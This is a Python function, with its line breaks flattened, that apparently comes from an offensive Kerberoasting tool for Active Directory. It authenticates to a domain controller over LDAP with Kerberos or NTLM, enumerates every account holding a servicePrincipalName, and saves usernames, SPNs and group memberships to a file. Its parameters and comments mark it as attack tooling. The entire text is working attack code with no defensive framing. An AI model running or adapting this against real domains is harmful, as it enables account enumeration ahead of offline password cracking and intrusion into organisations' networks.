def ldap_get_all_users_spn(AttackParameters, port): # build DN DN = "DC=" + ",DC=".join(AttackParameters.realm.split('.')) # Kerberos authentication if AttackParameters.auth_gssapi: WRITE_STDOUT(G + "\nConnecting to " + B + '\'' + AttackParameters.DC_addr \ + '\'' + W + G + " using ldap protocol and"\ + " Kerberos authentication!\n" + W) WRITE_STDOUT(' [+] Creating ticket ccache file %r...' % ccache_file) cc = CCache((AttackParameters.realm, AttackParameters.user_account)) tgt_cred = kdc_rep2ccache(AttackParameters.as_data["as_rep"], AttackParameters.as_data["as_rep_enc"]) cc.add_credential(tgt_cred) cc.save(ccache_file) WRITE_STDOUT(' Done!\n') WRITE_STDOUT(' [+] Initiating ldap connection using ticket...') server = ldap3.Server(AttackParameters.DC_addr) c = ldap3.Connection(server, authentication=ldap3.SASL, sasl_mechanism='GSSAPI') WRITE_STDOUT(' Done!\n') # NTLM authentication else: WRITE_STDOUT(G + "Connecting to " + B + '\'' + AttackParameters.DC_addr + '\'' + W +\ G + " using ldap protocol and NTLM authentication!\n" + W) s = Server(AttackParameters.DC_addr, port=389, get_info=ALL) c = Connection(s, auto_bind=False, client_strategy=SYNC, user=AttackParameters.realm + "\\" + AttackParameters.user_account, password=AttackParameters.password, authentication=NTLM, check_names=True) # Now we should be connected to the DC through LDAP try: c.open() except ldap3.core.exceptions.LDAPSocketOpenError as e: WRITE_STDOUT(R + "ldap connection error: %s\n" % e + W) sys.exit(1) try: r = c.bind() except: WRITE_STDOUT(R + "Cannot connect to ldap, exiting.\n" + W) sys.exit(1) # Query to find all accounts having a servicePrincipalName attributes_to_retrieve = [x.lower() for x in ATTRIBUTES_TO_RETRIEVE] c.search(DN, LDAP_QUERY, search_scope='SUBTREE', attributes=attributes_to_retrieve) if not c.response: WRITE_STDOUT(R + "Cannot find any SPN, wrong user/credentials?\n" + W) sys.exit(1) WRITE_STDOUT(' [+] Retrieving all SPN and corresponding accounts...') # construct path to SPN_outfile to store LDAP response if AttackParameters.outputfile_path != None: outputfile_spn = "" dirname = os.path.dirname(AttackParameters.outputfile_path) # current dir if dirname == '': dirname = './' else: dirname = dirname + '/' filename = os.path.basename(AttackParameters.outputfile_path) filename = 'SPN_' + filename outputfile_spn = open(dirname + filename, 'w') # iterate through results to construc dico[{'attribute':'value'},{}, etc.] for each "{}" account dico_users_spn = [] for matching_object in c.response: if matching_object.has_key('attributes'): dico_account = {} for attribute, value in matching_object['attributes'].items(): # delimiter of SPN is ';' in AD but ',' using ldap3 structures if attribute.lower( ) == "serviceprincipalname" and len(attribute) > 1: # only need one SPN for the attack value = value[0] if attribute.lower() in attributes_to_retrieve: if type(value) is int: dico_account[attribute.encode("utf8").lower()] = str( value) else: value = "".join(value).encode("utf8") dico_account[attribute.encode( "utf8").lower()] = value.lower() dico_users_spn.append(dico_account) # Disconnecting from DC WRITE_STDOUT(' Done!\n') c.unbind() WRITE_STDOUT(G + "Successfully disconnected from "+ B + '\''\ + AttackParameters.DC_addr + '\'\n' + W) # write to SPN_outputfile if AttackParameters.outputfile_path != None: for accounts in dico_users_spn: line_to_write = accounts['samaccountname']+'$'\ +accounts['serviceprincipalname'] if accounts.has_key('memberof'): line_to_write = line_to_write + '$' + accounts['memberof'] if accounts.has_key('primarygroupid'): line_to_write = line_to_write + '$primaryGroupID:'\ + accounts['primarygroupid'] outputfile_spn.write(line_to_write + '\n') outputfile_spn.close() return dico_users_spn